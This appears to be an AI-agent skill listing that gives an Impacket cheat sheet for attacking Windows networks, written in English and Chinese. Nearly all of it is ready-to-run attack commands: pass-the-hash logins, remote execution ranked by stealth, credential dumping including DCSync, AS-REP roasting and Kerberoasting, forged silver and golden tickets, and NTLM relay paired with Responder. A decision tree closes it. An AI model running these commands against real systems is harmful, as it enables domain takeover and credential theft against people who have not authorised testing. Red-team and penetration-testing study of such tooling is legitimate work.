SuperAPI AI Directory

impacket-toolkit

Security & auditing

View repository

Updated 10-16 04:41

About this skill

Impacket Windows protocol toolkit

Impacket implements the Windows network protocol stack in pure Python, allowing direct operation of Windows targets on Linux—no need to install anything on the target.

Project address:https://github.com/fortra/impacket

Authentication methods

All Impacket tools support multiple authentication methods, and understanding these formats is important:

# 密码认证
tool.py DOMAIN/user:password@TARGET

# NTLM 哈希传递 (Pass-the-Hash)
tool.py DOMAIN/user@TARGET -hashes LM:NTLM
tool.py DOMAIN/user@TARGET -hashes :NTLM  # LM 部分可省略
Kerberos ticket authentication

export KRB5CCNAME=/tmp/user.ccache tool.py DOMAIN/user@TARGET -k -no-pass

Local user (not in a domain)

tool.py ./administrator:password@TARGET


## 远程命令执行

从无交互到全交互,选最稳定的:

```bash
# psexec — 通过 SMB 创建服务执行(最常用,需要管理员权限)
psexec.py DOMAIN/admin:password@TARGET
psexec.py DOMAIN/admin@TARGET -hashes :NTLM_HASH

# smbexec — 通过 SMB 管道执行(不上传二进制,更隐蔽)
smbexec.py DOMAIN/admin:password@TARGET

# wmiexec — 通过 WMI 执行(不创建服务,最隐蔽)
wmiexec.py DOMAIN/admin:password@TARGET

# dcomexec — 通过 DCOM 执行(备选)
dcomexec.py DOMAIN/admin:password@TARGET

# atexec — 通过计划任务执行(不需要交互式 shell)
atexec.py DOMAIN/admin:password@TARGET "whoami"

Selection recommendations

Tool Protocol Port Stealth Interactive
wmiexec WMI/DCOM 135 ⭐⭐⭐ ✅
smbexec SMB 445 ⭐⭐ ✅
psexec SMB 445 ⭐ ✅
atexec Scheduled tasks 445 ⭐⭐ ❌
dcomexec DCOM 135 ⭐⭐ ✅

Credential extraction

# secretsdump — 域渗透最重要的工具,导出所有凭据
# 远程导出(需要域管/本地管理员)
secretsdump.py DOMAIN/admin:password@TARGET
secretsdump.py DOMAIN/admin@TARGET -hashes :NTLM_HASH

# 导出 DC 上所有域用户哈希(DCSync)
secretsdump.py DOMAIN/admin:password@DC_IP -just-dc

# 只导出 NTLM(不导出 Kerberos 密钥)
secretsdump.py DOMAIN/admin:password@DC_IP -just-dc-ntlm

# 从本地 SAM/SYSTEM 文件导出
secretsdump.py -sam SAM -system SYSTEM LOCAL

Kerberos attacks

# AS-REP Roasting — 查找不需要预认证的账户
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip DC_IP -format hashcat
# 输出喂给 hashcat -m 18200

# Kerberoasting — 获取服务票据离线破解
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request
# 输出喂给 hashcat -m 13100

# 获取 TGT
getTGT.py DOMAIN/user:password -dc-ip DC_IP
# 生成 user.ccache → export KRB5CCNAME=user.ccache

# 获取 ST(约束委派 S4U 利用)
getST.py DOMAIN/svc_account:password -spn cifs/TARGET -impersonate administrator -dc-ip DC_IP
# -altservice 可替换服务类型

# Silver Ticket
ticketer.py -nthash SERVICE_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -spn cifs/TARGET user

# Golden Ticket
ticketer.py -nthash KRBTGT_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -extra-sid S-1-5-21-PARENT-519 user

Enumeration tools

# SID 枚举(发现用户/组 RID)
lookupsid.py DOMAIN/user:password@TARGET

# RPC 枚举(暴露的接口)
rpcdump.py DOMAIN/user:password@TARGET

# SAM 用户枚举
samrdump.py DOMAIN/user:password@TARGET

# 远程注册表操作
reg.py DOMAIN/admin:password@TARGET query -keyName HKLM\\SOFTWARE

NTLM relay

# 中继到 SMB(获取 shell 或 secretsdump)
ntlmrelayx.py -t smb://TARGET -smb2support
ntlmrelayx.py -t smb://TARGET -smb2support -c "whoami"

# 中继到 LDAP(域内 ACL 修改)
ntlmrelayx.py -t ldap://DC_IP --escalate-user user

# 中继到 ADCS Web Enrollment(ESC8)
ntlmrelayx.py -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController

# 配合 Responder 使用
# 终端 1: responder -I eth0 -wv(抓 NTLM)
# 终端 2: ntlmrelayx.py -t smb://TARGET(中继 NTLM)

SMB file operations

# SMB 客户端
smbclient.py DOMAIN/user:password@TARGET

# 列出共享
smbclient.py DOMAIN/user:password@TARGET -list

# 上传/下载文件
smbclient.py DOMAIN/user:password@TARGET
# > use SHARE_NAME
# > put local_file
# > get remote_file

Decision tree

需要做什么 Windows 操作?
├─ 远程执行命令 → wmiexec(隐蔽)/ psexec(稳定)
├─ 导出凭据/哈希 → secretsdump
├─ Kerberos 攻击 → GetNPUsers / GetUserSPNs
├─ NTLM 中继 → ntlmrelayx + Responder
├─ 文件操作 → smbclient
├─ 有密码 → 直接用 user:password
├─ 有 NTLM 哈希 → -hashes :NTLM(PTH)
└─ 有 Kerberos 票据 → -k -no-pass